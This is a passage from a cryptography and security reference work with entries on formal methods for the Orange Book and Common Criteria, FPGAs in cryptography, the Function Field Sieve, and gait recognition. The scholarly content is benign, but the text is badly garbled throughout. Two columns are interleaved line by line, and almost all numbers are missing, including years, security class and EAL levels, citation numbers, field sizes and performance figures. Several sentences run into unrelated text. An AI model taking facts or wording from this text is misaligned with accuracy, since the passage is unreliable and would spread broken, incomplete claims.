implementation of access-control systems. Role discovery, Computer and Communications Security. ACM, pp
. Messaoud B () Access control systems. Springer, New
e.g., can be considered as a design activity; proving secure York, NY
information flow in programs can be seen as validation
of access rights where principals are programming enti-
ties such as computation threads or applets on smart
cards; and expressing rule-based policies as propositional
constraints may lead to the discovery of redundancies in
Formal Methods for the Orange
policies and so improve their implementation. Book
Applications of formal methods also concern the
Jonathan K. Millen
administrative aspect of policy-based access control [].
The MITRE Corporation, Bedford, MA, USA
For example, a formal policy language may cleanly sep-
arate between normal access privileges (e.g., permission
to collaborate on a document), administrative privileges Synonyms
(e.g., permission to invite others as collaborators on a Security verification
document), and super-administrative privileges (e.g.,
permission to transfer ownership of a document). Engi- Related Concepts and Keywords
neering workable policies with such layered, administra- Common Criteria, From a Security Policies Perspec-
tive permissions is difficult to achieve without the aid tive; Covert Channel Analysis; Formal Methods and
of formal methods, which can support analysis and can Access Control; Formal Methods in Certification and
provide robust administration patterns within a policy Evaluation; Orange Book; Reference Monitor; Bell-
language. LaPadula Confidentiality Model; Trojan Horse
F Formal Methods for the Orange Book
Denition access control matrix Ai,j {r, w} such that if Ai,j = {r},
Formal methods, in the Orange Book context, were sys- then subject Si has read-only access to object Oj .
tematic methods for security analysis based on mathematics For classes B and above, the security policy being
and logic, and usually supported by software verification modeled included mandatory and discretionary require-
tools. ments. The mandatory access control policy assigned
sensitivity labels to subjects and objects, and prevented a
subject from having read access to an object with a higher
Background label (simple security) or write access to an object with a
The Orange Book, or Department of Defense Trusted Com- lower label ( -property). Thus, for example,
puter System Evaluation Criteria (TCSEC), was a standard
r Ai,j (Si ) (Oj )
published in and updated in []. It was used by
the National Computer Security Center (NCSC), an office where is the sensitivity label assignment. The discre-
of the National Security Agency, to support the technical tionary access control policy allowed users to limit access
certification of commercially available computer systems to named objects by named individuals.
for DoD applications. An Orange Book evaluation ranked For the purposes of these requirements, formal
systems into six classes C, C, B, B, B, and A, accord- meant mathematically precise, and a proof could, in prin-
ing to their ability to protect sensitive data. Following the ciple, be produced manually []. Formal models were small
recommendations of the Anderson Report [], the highest enough so that their verification was practical but tedious.
rankings, B and A, had to satisfy the reference moni- Formal top level specifications occupied a position mid-
tor requirements that it mediate all access of subjects to way between mathematical models and executable code.
objects, be tamperproof, and be small enough to be sub- They were less abstract than a model and an order of mag-
jected to analysis and tests. The Anderson Report also nitude larger, because they had to specify more detail in
stressed that it was important to specify and implement a the operating system interface. They were nonprocedural,
policy for access control. following Parnass suggestion []. Even though they
The highest class was A, or Verified Design. An A were still much smaller than actual code listings, they were
system has a Trusted Computing Base (TCB) that imple- large enough so that there was an incentive to seek software
ments a reference monitor. An A TCB was subject to tool support for their expression and verification.
several requirements for formal methods: Roughly speaking, formal specifications were like sys-
tems of equations relating the new values of system state
A formal model of the security policy supported by the
variables after an operation to the parameters of the oper-
TCB, that is proven to be consistent with its axioms.
ation and the prior values of all relevant state variables.
A formal top-level specification (FTLS) that accurately
These equations had conditional tests so that the effect of
describes the TCB in terms of exceptions, error mes-
an operation could depend on access control constraints.
sages, and effects. The FTLS must be shown consistent
Specification languages had a style similar to programming
with the model using a combination of formal and
languages. An operation for a process to get read access
informal techniques.
to a file might look something like this (in no particular
Formal methods must be used for a covert channel
language):
analysis.
get_read(proc,file) =
The consistent security policy model was required for B
if dominates(label(proc),label(file))
and B as well.
then access(proc,file) := add_mode
The kind of model considered acceptable was a state-
(access(proc,file),read)
transition model, where transitions represented permis-
and return := "ok"
sible changes in the access-control state resulting from
else return := "simple security
TCB operations. Expectations were strongly influenced by
violation"
the Bell-LaPadula model [], which featured two invariant
end
security properties (simple security and -property) that
defined a secure state. These were called axioms in the To show that an FTLS is consistent with a model, the
requirement, but they stood as proof obligations for the analyst supplied a mapping of FTLS structures, like pro-
specified state transitions and for initial state conditions. It cesses and files, to model structures, like subject-object
was in this sense that a model had to be proven consistent access matrices. Each operation on system structures avail-
with its axioms. A model might, for example, define an able at the FTLS interface could then be mapped to a state
Formal Methods for the Orange Book F
change in the model. Such a state change was consistent use of mandatory access control labels, extending their use
with the model if it respected the state invariants required to system variables, and examined each FTLS statement
by the model. This would be the case if the state change to ensure that the value of each system variable was not
could be proved equivalent to the result of a sequence of tainted by the value of any variable with higher label.
permissible model transitions. In the get_read example above, a flow analysis
At the time, a number of software tools were available would determine that the return message depends on the
or under development to support verification of formal label assignment array. This means that the label assign-
specifications. The NCSC instituted an Endorsed Tools List ments must themselves be classified at the lowest label
(ETL) of systems considered mature enough to produce value, otherwise an attempt to read a higher-labeled file
acceptable formal specifications and proofs []. In , might give away higher-labeled information.
the ETL included FDM (Formal Development Methodol- It was recognized that not all covert channels could
ogy), featuring the Ina Jo specification language [], and be found by flow tools. In particular, an FTLS does not
GVE, the Gypsy Verification Environment [, ]. Later, contain timing information necessary to find timing chan-
others were added, such as EHDM (Extended Hierarchical nels. A timing channel makes use of system clock values or
F
Development Methodology), featuring the Special speci- other timing sources to convey information, just as Morse
fication language []. Models as well as FTLSs could be code uses combinations of short dots and long dashes to
expressed and verified with these tools. Such tools included encode different letters. Furthermore, flow tools do not
an automatic or interactive theorem prover capable of deal- supply estimates of the bandwidth (information rate) of
ing with logical statements about system data structures. covert channels. Hence, formal methods had to be supple-
Although some of these systems could also be used mented with code examination and information-theoretic
for code verification, formal code verification was not an techniques. The formal methods requirement for covert
Orange Book requirement, because it was felt to be beyond channel analysis could also be satisfied without flow anal-
the state of practice. Code verification must prove the ysis tools by using Kemmerers shared resource matrix
correctness of programs written to implement the FTLS method [], which was systematic, but took a less formal,
operations. This requires a formal semantics of the pro- more flexible approach that could be applied to code.
gramming language, which was not available for most
practical implementation languages. Furthermore, TCBs Applications
were usually implemented in a combination of high-level The only system that achieved the A class under the
and assembly languages. Orange Book was the Honeywell SCOMP (Secure Com-
The level of detail in an FTLS to include exceptions munications Processor). However, the Trusted Network
and error messages had two motivations. One was to Interpretation of the TCSEC (TNI, or Red Book [])
show how the abstract secure system design expressed by carried over the Orange Book classes to network compo-
the model could be refined gradually to the running code. nents. Mandatory or M-components, whose TCB enforced
The other motivation was the desire to support certain separation of multiple labeled security levels, could attain
formal approaches to covert channel analysis []. Covert an A class with essentially the same use of formal meth-
channels permit a Trojan horse a malicious program ods. The Boeing MLS LAN (Multilevel Secure Local Area
acting without the users knowledge to communicate sen- Network) and Gemini Trusted Network Processor accom-
sitive information to users or confederate programs at a plished this. Formal methods also had a place in later
less sensitive level. The normal access control policy pre- Common Criteria requirements.
vents a program from simply copying sensitive data to a
publicly readable file, but it may still be able to communi- Recommended Reading
cate small amounts of data at a time in devious ways, by . Anderson JP () Computer security technology planning
study. ESDTR--, Air Force Electronic Systems Division,
channels not intended to carry user data. Typically, this is
Hanscom AFB, Bedford, MA
done by affecting shared system resources, causing state . Bell DE, La Padula LJ () Secure computer system: uni-
changes that become visible through error messages or fied exposition and multics interpretation. ESDTR--. The
timing variations. Mitre Corporation, Bedford, MA
Covert channel analysis has two steps: an identifica- . Berry DM () An Ina Jo proof manager for the formal devel-
opment method. ACM SIGSOFT Software Eng Notes ():
tion phase and a bandwidth (information rate) analysis.

Identification can be assisted by information flow tools that . Department of Defense () Department of Defense Trusted
operate on the FTLS, such as Ina Flo (in the FDM sys- Computer System. Evaluation Criteria. DOD .-STD,
tem) and the MLS Checker (in EHDM). Flow tools made National Computer Security Center, Fort Meade, MD
F Formal Methods in Certication and Evaluation
. Good DI, Akers RL, Smith LM () Report on Gypsy ., evaluation is that formal specification languages can be
Computational Logic, Inc., Austin, TX used to give a precise, unambiguous specification of a com-
. Kaufmann M, Young WD () Comparing gypsy and the
puter system that can be understood by a system evaluator.
Boyer-Moore logic for specifying secure systems. In: Pro-
ceedings of the th National Computer Security Conference,
At the very highest level of assurance, these are included
Baltimore MD with formal proofs of security, via a formal proof of cor-
. Kemmerer RA () Shared resource matrix methodology: respondence between a formal security model (that is, a
an approach to identifying storage and timing channels. ACM formal description of the security properties of the system)
Trans Comput Syst ():
and formal specification of the security-relevant portions
. National Computer Security Center () Trusted network
interpretation of the trusted computer system evaluation cri-
of the system. This general approach was introduced in the
teria. NCSC-TG- US TCSEC (also known as the Orange Book) [], which was
. National Computer Security Center () A guide to under- the first such set of criteria. It was subsequently adopted,
standing security modeling in trusted systems. NCSC-TG- with some changes, by criteria of other countries, including
. National Computer Security Center, Guidelines for formal ver-
the European ITSEC [], and finally by the Common Cri-
ification systems. NCSC-TG--
. National Computer Security Center () A guide to
teria [], which replaces these earlier criteria and has been
understanding covert channel analysis of trusted systems. adopted by a number of countries in North America and
NCSC-TG- Europe, as well as Australia. The main difference between
. Owre S, Rushby J, von Henke F () An introduction to formal the Common Criteria and the TCSEC, as far as the use
specification and verification using EHDM. SRI International.
of formal methods is concerned, is that the TCSEC levels
SRI-CSL--
. Parnas DL () A technique for software module specification
applied to both assurance and functionality, thus enforcing
with examples. Comm ACM (): a tight coupling between the two, while the Common Cri-
teria levels apply only to assurance. The Common Criteria
requires that desired security functionality be specified in
separate Target of Evaluation documents.
Formal Methods in Certication The Common Criteria application levels range from
EAL to EAL, with formal methods being introduced at
and Evaluation EAL. EAL requires the use of semiformal design descrip-
Catherine Meadows tion, where semiformal means that the specification
U.S. Naval Research Laboratory, Washington, DC, USA has a restricted syntax and a defined semantics. EAL
requires a formal model of the security policy plus a semi-
formal functional specification, where formal means a
Synonyms restricted syntax and a defined semantics based on well-
High assurance evaluation methods established mathematical concepts. EAL requires a for-
mal model of the security policy and a formal functional
Related Concepts specification, along with a formal verification of corre-
Common Criteria, From a Security Policies Perspective; spondence between the two. Although mechanized proofs
Security Standards are not explicitly required for EAL, the advantage of using
them is noted and generally, products that supply formal
Denition verification will rely at least partially on such mechanized
Before computer systems can be used for security-critical proofs.
applications, they generally must be certified to be appro- It is also possible to certify systems at EALX+, mean-
priate for the intended use. This process can be made easier ing the system satisfies all of the requirements of EALX,
by the evaluation of systems according to broader classes and some of the requirements of EALX + . For EAL+,
of criteria, established by a national or international stan- this usually means that some formal verification is done,
dards body, which specify classes of systems with differ- although not enough to support certification at EAL.
ent levels of security functionality and assurance. Formal Since certifications are usually done on commercial
methods is an assurance method that is generally deemed products, details the ways in which formal methods are
appropriate for the highest levels of assurance. used in such certifications are proprietary. However, there
are some papers available that give informative accounts
Background that give the reader an understanding of the type of
One of the main, indeed possibly the principal, use of for- verification that is required for the evaluation process.
mal methods in preparing computer systems for security In particular, Heitmeyer et al. [] describe the formal
FPGAs in Cryptography F
verification of an embedded security device intended for Recommended Reading

evaluation against the Common Criteria, while Woodcock . DoD trusted computer security evaluation criteria, Dod .-
et al. [] describe the certification of the Mondex electronic STD, December
. Information technology security evaluation criteria (ITSEC):
purse to ITSEC Level E, a level similar to EAL.
preliminary harmonised criteria, Document COM() , Ver-
sion .. Commission of the European Communities, June
. Common criteria for information technology security evaluation,
Applications and Experiments
Version ., Revision , CCMB---, CMMB---,
Currently (November ), the Common Criteria Cer- CCMB---, July
tified Products list [] gives over systems certified . Heitmeyer C, Archer M, Leonard E, McLean J () Applying
at EAL or EAL+. EAL and higher evaluated systems formal methods to a certifiably secure software system. IEEE
are much more rare, however. Currently, the Common Trans Software Eng ():
. Woodcock J, Stepney S, Cooper D, Clark J, Jacob J () The
Criteria Certified Products list gives only one such sys-
certification of the Mondex electronic purse to ITSEC level E.
tem: the Green Hills Software INTEGRITY-B Sepa- Form Asp Comp ():
ration Kernel, certified at EAL+. Some of the national . Common criteria certified products list, common criteria portal. F
certification organizations list additional products: for http://www.commoncriteriaportal.org/products/
example, the French Agence Nationale de la Scurit des . ANSSI certified products list. http://www.ssi.gouv.fr/site_
rubrique.html
Systmes dInformation lists five microcontrollers certi-
. NIAP CCEVS: products and protection profiles in evaluation.
fied at EAL+ []. Other products are in the pipeline. For http://www.niap- ccevs.org/cc- scheme/in_evaluation/
example, the US NIAP Common Criteria Evaluation and
Validation Scheme for IT Security (CCEVS) lists two: the
Boeing Secure Network Server (EAL) and the Wind River
VxWorks MILS operating system (EAL+) [].
These figures show that the evaluation of systems at
Forward Secrecy
the higher assurance levels that require the use of formal
methods is not only within the state of the art, but it is Perfect Forward Secrecy
seen as a viable business opportunity for the developers
of systems that fill a certain type of niche: that is, systems
such as separation kernels, network servers, and micro-
controllers that can provide security functionality to other
FPGA Field Programmable Gate
systems that make use of them. These systems are relatively Array
simple, which keeps the costs of verification down, and
because they can be used by many other systems, the costs Trusted Computing
are amortized. However, the fact that the number of these
systems is small, and most of that small number to not
attempt EAL, shows that full-scale verification in support
of security evaluation is still a challenging problem.
FPGAs in Cryptography
Tim E. Gneysu
Open Problems Department of Electrical Engineering and Information
The main problem faced when undergoing high assurance Technology, Ruhr-University Bochum, Bochum,
evaluation is the time and expense. The additional work Germany
in specifying and verifying the product, as well as review-
ing the artifacts produced by the verifiers, adds to the cost
of developing the product, while the additional time not Synonyms
only adds to the costs, but incurs the risk that a system Cryptography on reconfigurable devices
may be obsolete by the time it is certified. Thus, research is
needed in making formal methods more efficient, easier to Denition
use, and more agile. Areas of interest include methods for Field Programmable Gate Arrays (FPGA) are generic
incremental verification (so that small changes to a system hardware devices that can dynamically reconfigure their
require only a small amount of re-verification), improved internal structure to perform arbitrary logic functions. In
methods for code verification, and methods for extracting this way, they combine the advantage of efficient hardware
formal specifications from code. implementations with the flexibility of software programs.
F FPGAs in Cryptography
This unique property is particularly useful for computa- by cryptographic schemes, e.g., to implement a nonlin-
tionally challenging cryptosystems that benefit from the ear substitution-table lookup of block ciphers. The ded-
high performance in hardware implementations, while still icated arithmetic blocks are useful when implementing
preserving the option for security updates in case the secu- cryptosystems involving multi-precision modular arith-
rity system was compromised. metic. As each multi-precision operation consists of a large
amount of single-precision computations, such a compu-
Background tation can be significantly accelerated by employing fast
Field Programmable Gate Arrays were invented in arithmetic blocks in the FPGA to compute the single-
and originally targeted applications in the telecommuni- precision results.
cation sector. To maintain the feature of reconfigurability, Figure shows the common structure that is shared
FPGAs consist of a large, two-dimensional array of config- by most recently used FPGA devices. Note that in addi-
urable logic elements (CLE) that are interconnected with tion to CLEs, dedicated memory and arithmetic blocks,
a programmable switch matrix. The CLEs can be individ- these devices contain further components for clock gen-
ually configured to perform an atomic logic function with eration and distribution, as well as logic to implement I/O
a specific number of inputs and outputs. However, due to interfaces.
limitations in technology, most FPGAs only allow a volatile
configuration of the CLE. In other words, the entire setup Applications
of the FPGA device is lost on power-down and needs to be In practice, FPGAs can be used to implement nearly all
reloaded after each system start-up. Fortunately, this also cryptographic algorithms. However, whether the FPGA is
allows a straightforward exchange of the hardware appli- the optimal choice to implement a specific cryptographic
cation on the FPGA by simply replacing this initial device system is mainly dependent on four highly important
configuration, which is stored as an external bit file. properties of the application:
With the evolution of FPGA devices with respect to
Based on Low-level Operations: If a cryptosystem
their logic density, the first cryptographic implementations
defines the use of many basic bit-level operations, the
on an FPGA became possible in the early . In this con-
FPGA can place these operations very efficiently in
text, low-level bit operations of cryptographic schemes can
CLBs. This is usually by far more efficient than bit
be directly mapped onto CLE functions, which is usually
operations based on generic instructions available on
considered as the main advantage of cryptographic imple-
typical microprocessors.
mentations on FPGAs with respect to software imple-
mentations. Similarly, bit permutations can instantly be
performed by just selecting the appropriate routes of the CLB CLB CLB C
programmable switch matrix. In software, such bit-level Arithmetic
operations often require a significant amount of clock CLB CLB block CLB C
cycles for masking and shifting the individual bits in a CLB CLB Memory CLB C
register. In particular, block and stream ciphers, as well block
as asymmetric cryptosystems based on elliptic and hyper- CLB CLB Arithmetic CLB C
block
elliptic curves over binary fields, involve many of such CLB CLB CLB C
simple bit-level operations and can thus be very efficiently
I/O
implemented on FPGAs. CLB CLB CLB C

Arithmetic
In the last years, FPGA vendors decided to add fur- CLB CLB block CLB C
ther components to FPGA architectures. They found that
just a large amount of generic CLEs is not sufficient for CLB CLB Memory CLB C
block
all demands of an application. To satisfy the need for Arithmetic
CLB CLB CLB C
continuous storage, they integrated dedicated memory block
blocks, each providing a few kilobits of storage. In addition CLB CLB CLB C
to that, they added arithmetic blocks that can acceler-
ate single-precision integer multiplications and additions CLK I/O
using dedicated circuits (instead of implementing them
with generic CLEs). These later extensions are extremely
beneficial for cryptographic implementations: Memory FPGAs in Cryptography. Fig. Architecture of a recent FPGA
blocks are often used to store lookup values required device
Function Field Sieve F
Suitable for High Parallelism: If individual parts of an Besides constructive use cases, this performance
(cryptographic) application can be parallelized, multi- advantage in specific cryptographic operations can be also
ple computation units can be instantiated on the same very useful for special-purpose cryptanalytical hardware.
FPGA to execute each of those parts concurrently. For For example, an FPGA-based cluster system (cf. cryptanal-
n such computation units, this can optimally lead to ysis with COPACOBANA in recommended reading) can
an n-fold performance speedup compared to a single- perform an exhaustive key search on DES in less than
threaded software implementation. a week (average time) with simultaneously running
Uniform in Data Flow: For cryptosystems that pro- FPGA devices.
cess data in uniform operation without any condi-
tional computations or interrupts, advanced design Open Problems
techniques such as pipelining can be used in an FPGA Complex applications and problems that have an inher-
design to significantly increase the data throughput. ently serial nature (such as many cryptographic hash func-
Pipelining allows to process different data streams in tions) are usually less efficiently implemented on FPGAs
the same clock cycle each at a different stage of the
F
compared to software-based solutions. Since recent micro-
algorithm similarly to a manufacturing process using processors operate at clock frequencies of several gigahertz
an assembly line. Note, however, that any irregularity and provide multiple cores on the same chip, they can
in the data flow is likely to cause a stall in the pipeline perform inherently serial computations faster than FPGAs
and demands a costly individual processing leading with a maximum device frequency of only a few hun-
to significantly decreased efficiency. dred megahertz. With respect to this, achieving similarly
Constraint on Memory: FPGAs usually provide only a high frequencies on an FPGA is impossible due the over-
few megabit of fast on-chip storage, dependent on the head introduced by the flexible reconfiguration feature.
number of memory blocks they contain. Hence, if a This actually can only be remedied by a radically new CLB
cryptographic application requires more memory than design with significantly less overhead.
provided by the FPGA, the system designer needs to
install external memory on the FPGA board. In this Recommended Reading
case, the access to external memory requires an addi- . Rodrguez-Henrquez F, Saqib NA, Daz-Prez A, Koc CK ()
tional memory controller, which in turn serializes all Cryptographic algorithms on reconfigurable hardware. Springer,
individual accesses to the external storage. Therefore, Berlin. ISBN: ----
even with two or more parallel memory controllers . Gneysu T, Kasper T, Novotny M, Paar C, Rupp A () Crypt-
analysis with COPACOBANA. IEEE Trans Comput; IEEE Com-
(and corresponding memory module on the board), put Soc ():
applications involving a large number of parallel pro-
cessors on the same FPGA are likely to starve from
data shortage due to the serial access to the external
memory.
Function Field Sieve
An application perfectly suited for FPGAs (i.e., fulfill-
ing all the mentioned criteria above) is the standardized Emmanuel Thome
Data Encryption Standard (DES) block cipher. DES was INRIA Lorraine Campus Scientifique,
specifically designed for optimal hardware efficiency and VILLERS-LS-NANCY CEDEX, France
thus uses only straightforward low-level bit operations
and only a negligible amount of memory. A pipelined
implementation of DES based on four separate proces- Related Concepts
sors on a low-cost Xilinx Spartan- FPGA (currently Discrete Logarithm Problem; Generic Attacks Against
approx. US$) can provide million encryp- DLP; Index Calculus Attack; Number Field Sieve for
tions per second at MHz. On the contrary, a single- the DLP
threaded software implementation of DES on an Intel
Pentium running at GHz (Prescott) computes roughly Denition
two million encryptions per second. This demonstrates The Function Field Sieve (FFS) is an algorithm originally
the impressive costperformance advantage that FPGAs due to Adleman [, ] for solving the Discrete Logarithm
can gain with respect to software solutions for specific Problem in (the multiplicative group of) finite fields of
designs. small characteristic.
F Function Field Sieve
Background k(x). Once one has collected a sufficiently large number

The Function Field Sieve can be used to compute discrete of functions which satisfy both smoothness conditions, it
logarithms in GF(pk ) as long as k grows at least as fast is possible to obtain the logarithm of the finite field ele-
as (log p) . Under these conditions, the complexity of the ments corresponding to the factor base elements using
function field sieve with respect to p and k is given by the linear algebra over Z/NZ, where N is pk (or possibly
expression in L-notation the cardinality of the prime subgroup of interest within
/ / /
this field).
Lpk (/, (/) ) = exp ((/) (k log p) Furthermore, logarithms of arbitrary finite field ele-
(log(k log p))/ ( + o())) , ments can be obtained from a process known as special-q
descent, as described by Coppersmith []. An adaptation
thereby achieving the best known complexity to date for of this descent to the FFS case is given by Enge, Gaudry,
computing discrete logarithms in such finite fields (in full and Thom [].
generality). Technical obstructions to the function field sieve are
The Function Field Sieve is very similar to the Num- quite similar to those encountered in the number field
ber Field Sieve (the latter, best known as an algorithm for sieve. However some may be overcome in an easier way.
integer factoring, also exists as an algorithm to com- In particular it is interesting to choose the curve h as what
pute discrete logarithms in finite fields GF(pk ) when k is known as a Cab curve. This ensures that only one infinite
grows slower than (log p) Number Field Sieve for Fac- place exists in the function field. Therefore, no obstruc-
toring and Number Field Sieve for DLP). The Function tion stems from the unit group (whose role is played by
Field Sieves earliest predecessor is Coppersmiths algo- places at infinity). Even with this convenience condition,
rithm (), which was the very first algorithm of com- the flexibility in choosing the polynomial h as well as the
plexity L(/) for solving discrete logarithms in the field polynomial f defining the finite field is immense due to the
GF(n ). fact that all finite fields having the same cardinality are iso-
morphic. This flexibility accounts for the good complexity
Theory of the function field sieve.
It is assumed that a defining polynomial f (x) for the finite
field GF(pk ) has been chosen, as well as the equation Experimental Results
of an absolutely irreducible plane curve h(x, y). Another Practical experiments with the function field sieve began
input is a polynomial m(x) which satisfies h(x, m(x)) with Joux and Lerciers computation of discrete logarithm
mod f (x). The Function Field Sieve looks at bivariate polyin GF( ) in [], and the present record is a com-
nomials = a(x) yb(x) from two different perspectives. putation of discrete logarithms in GF( ) by the same
On the one hand, reducing modulo y m(x) yields a authors in .
polynomial in x. Reducing this polynomial in turn mod-
ulo f (x) yields a finite field element. This is called the Recommended Reading
rational side. On the other hand, one may consider . Adleman LM () The function field sieve. In: Adleman LM,
Huang M-D (eds) ANTS-I: st Algorithmic Number Theory Sym-
modulo h, thereby considering it as a function on the curve
posium, Cornell University, Ithaca, May . Lecture notes
defined by h. Evaluating this function at the place given by in computer science, vol . Springer, Berlin, pp
(f (x), y m(x)) gives again the same finite field element. . Adleman LM, Huang M-D () Function field sieve meth-
This is called the algebraic side. ods for discrete logarithms over finite fields. Inform Comput
Functions meeting the smoothness condition on both ():
. Coppersmith D () Fast evaluation of logarithms in fields of
sides are of interest to the Function Field Sieve. On the
characteristic two. IEEE Trans Inform Theory IT():
rational side, smoothness of a(x) m(x)b(x) is sought. . Enge A, Gaudry P, Thom E () An L(/) discrete logarithm
On the algebraic side, one requires that the divisor of the algorithm for low degree curves. J cryptol ():
function be smooth, in that only prime divisors from . Joux A, Lercier R () The function field sieve is quite special.
a predefined set (the algebraic factor base) appear in its In: Fieker C, Kohel DR (eds) ANTS-V: th Algorithmic Num-
ber Theory Symposium, Sydney, July . Lecture notes in
support. This condition is checked by the factorization of
the norm of as an element of an algebraic extension of
G
shape and dynamics, gait recognition research, like most
Gait Recognition biometrics research, is reliant on datasets.
Sudeep Sarkar , Zongyi Liu
Computer Science and Engineering, University of South Theory

Florida, Tampa, FL, USA Gait recognition approaches are basically of three types:
Amazon.com, Seattle, WA, USA (a) temporal alignment based, (b) silhouette shape based,
and (c) static parameter based approaches.
Definition
Gait recognition refers to the use of video of human gait, Temporal-Alignment-Based Approaches
processed by computer vision methods, to recognize or to The temporal-alignment-based approach treats the gait
identify persons based on their body shape and walking sequence as a time series and involves a classic three-stage
styles. This is a passive mode of accquiring biometric data processing framework. The first stage is the extraction of
from a distance. features such as whole silhouettes or D shape features
such as Fourier descriptors, D projections, statistics of the
Background overall shape, or various kinds of moment-based features.
The gait of a person is a periodic activity with each gait These features are modified to impart some invariance with
cycle covering two strides the left foot forward and respect to distance from camera, that is, scale invariance.
right foot forward strides. Each stride spans the double- The interested reader is pointed to works of Nixon and
support stance to the legs-together stance as the legs swing Carter, such as [], who have experimented with many
past each other and back to the double-support stance (see features.
Fig. ). A large portion of the musculo-skeletal system is The second step is the design of the distance or simi-
involved in the production of gait, making it a likely source larity measure used to quantify differences of two feature
of discriminating information between persons. There are vectors, which can be Euclidean, dot product, or based
two potential sources of biometric information in human on probabilistic models, or Procrustes distance, or derived
gait as captured in video: shape and dynamics. Shape refers based on rigorous manifold analysis.
to the configuration or shape of the persons as they per- The third step involves the alignment of sequences of
form different gait phases. Dynamics refer to the rates of these features, corresponding to the two given sequences
transition between these phases. This is usually the aspect to be compared. For this, one can use simple correla-
one refers to when one talks about gait in other con- tion, dynamic time warping, Fourier analysis, and hidden
texts, such as biomechanics or human motion recognition. Markov models (HMM) [].
In this respect, gait biometrics research has to synthesize A head to head study of this class of approaches
both shape and human motion research. Designing well- was done by Boulgouris et al. []. Time warping meth-
performing gait recognition algorithms does not appear ods seemed to result in better performance when match-
to be a straightforward application of existing methods ing across surface changes. A variation of the HMM
developed in shape research or those in human motion approach, where the overall distance was the accumula-
research, independently of each other. The challenge is to tion of the observation probability, ignoring the transition
overcome gait motion variations due to conditions, other probabilities, resulted in almost similar performance as
than identity, such as footwear, clothing, walking surface, the full HMM. This points to the importance of silhou-
carrying objects, over elapsed time, walking speed, indoor ette shape information for recognition and leads one to
versus outdoors, and so on. Given the lack of theoretical a second class of approaches to gait recognition, which is
understanding or modeling of how these factors effect gait discussed next.
G Gait Recognition
a b c d e
Gait Recognition. Fig. A gait cycle can be partitioned into four periods: (i) right stance period when the right foot is in contact
with the oor, beginning from right heel-strike (photo a) and ending at right toe-o (photo d) (ii) left swing period when the
left foot is not in contact with the oor, beginning from left toe-o (photo b) and ending at left heel-strike (photo c) (iii) left
stance period when the left foot is in contact with the oor, beginning from left heel-strike (photo c) and ending at left toe-o
(photo e) and (iv) right swing period when the right foot is not in contact with the oor, beginning from right toe-o (photo d)
and ending at right heel-strike (photo e). Moreover, the time between these periods, that is, when both feet are in contact with
the oor, is called double limb support
Shape-Based Approaches using silhouette sequences from all persons in the gallery.
This class of approaches emphasizes the silhouette shape One p-HMM represents the average gait over the popu-
similarity and underplays the temporal information. So lation and is used to normalize any given gait sequence.
far, they have resulted in the highest demonstrated per- A separate temporal alignment process is not needed. The
formance. One direction involves the transformation of silhouette shapes of each stance are then matched to arrive
the silhouette sequence into a single image representation. at a similarity measure.
The simplest such transformation is the averaged silhou-
ette, computed by simply summing the silhouettes over Static Parameters
one gait cycle []. Similarity is based on just the Euclidean The third class of approaches opts for parameters that can
distance between the average silhouettes from two silhou- be used to characterize gait dynamics, such as stride length,
ette sequences. A sophisticated version of this idea, with cadence, and stride speed along with static body param-
enhanced performance, was also proposed by Han and eters such as the ratio of sizes of various body parts [].
Bhanu []. However, these approaches have not yet reported high per-
Another way of using shape information preserves formances on common databases, partly due to their need
individual silhouettes but disregards the sequence order- for D calibration information.
ing, and treats the sequences as just a collection of sil-
houette shapes []. In this approach, the silhouettes Gait Recognition Performance
with similar shapes are clustered using the spectral par- The HumanID gait challenge problem facilitates an objec-
titioning framework, based on graph weights built out tive, quantitative measurement of gait research progress on
of the correlation of high variance areas in the shape, a large dataset [] consisting of , sequences from
representing parts such as arms and legs. The power subjects. The problem definition has three components: a
of this representation partly derives from the ability dataset, challenge experiments of different difficulty levels,
to identify and disregard low-quality silhouettes in a and a simple gait recognition approach that is intended to
sequence; bad silhouettes form a separate cluster. Identi- set a baseline performance level to improve upon. Figure
fication is made by comparing the collection of silhou- shows some sample frames from this dataset. It was col-
ette shapes from a given probe set to the gallery shape lected outdoors and each person in the data set was studied
clusters. under combination of as many as five conditions, such as
Liu and Sarkars gait recognition approach normalizes change in viewing angle, change in shoe type, change in
the gait of each person to a standard gait model []. This walking surfaces (concrete and grass), carrying or not car-
standard gait model is a population-HMM model built rying a briefcase, and temporal differences. Along with the
Gait Recognition G
a b
Gait Recognition. Fig. Samples from the HumanID gait challenge dataset: subject walking on grass. (a) along the frontal half of
the elliptical path, and (b) along the back half of the elliptical path
100
Open Problems
Identification rate (Gallery size = 122)
90 Study of gait recognition from video has made notable

80 progress since . Based on the results that have been
G
70 reported on common datasets by multiple groups the
60 following guidance for productive future work can be
50 given []:
40
A:
30
B:
. Gait dynamics, which has been the core focus of most
20 D study of human gait in computer vision, is suscepti-
H ble to change, whereas, stance shape information is
10
K
0 somewhat stable. However, the evidence for this is not
Baseline, 2004 Best others, 2004 Best others, 2006 conclusive. A better understanding of the change in
Algorithms
dynamics for the same person under various condi-
Gait Recognition. Fig. Improvement in gait recognition tions is needed.
algorithms over time with respect to the baseline performance . Most recogniton algorithms use silhouettes as input,
on the full dataset with subjects for the key experi- which raises the question of silhouette quality on
ments. Experiments A, B, D, H, and K, involves gait matching recogniton. Of course, with very poor silhouettes, per-
across viewpoint, shoe types, walking surface type, carrying formance would be poor. However, studies [] show
condition, and time. From to , the best reported that even with perfect, hand drawn silhouettes, the
performances are better on all the experiments recognition performance is the same as that obtained
with automated methods. This observation has impli-
cation for future work direction in gait recognition.
Instead of searching for better methods for silhouette
dataset, the gait challenge problem includes a definition of detection to improve recognition, it would be more
a set of challenge experiments (A through L), spanning productive to study and isolate components of gait that
different levels of difficulty. do not change under shoe, surface, or time.
In Fig. , the performance of the baseline performance . Focused analysis of the study of the impact of a covari-
and the best performance reported in the literature has ate on match-score distribution, suggests that shoe
been tracked. Performance is reported in terms of identi- type has the least effect on performance, but the effect
fication rate, that is, percentage of times the gait template is nevertheless statistically significant []. This is fol-
with the correct identity is at the top rank in a to N match. lowed by either a change in camera view or carrying
In , when the gait challenge problem was released, a brief case. Carrying a brief case does not affect per-
the performance of the baseline algorithm was better than formance as much as one might expect. This effect is
the best reported performance. By , while the base- marginally larger than changing shoe type but is sub-
line algorithm performance improved as the algorithm stantially smaller than a change in surface type. In
was fine-tuned, the performance of the best performance future experiments, it may be interesting to investigate
improved significantly and continued to improve through the effect of carrying a backpack rather than a briefcase,
. or to vary the object that is carried.
G Galois Counter Mode
The other factor with large impact on gait recog- . Veeraraghavan A, Roy Chowdhury A, Chellappa R () Role
nition is walking surface. With the subject walking on of shape and kinematics in human movement analysis. In:
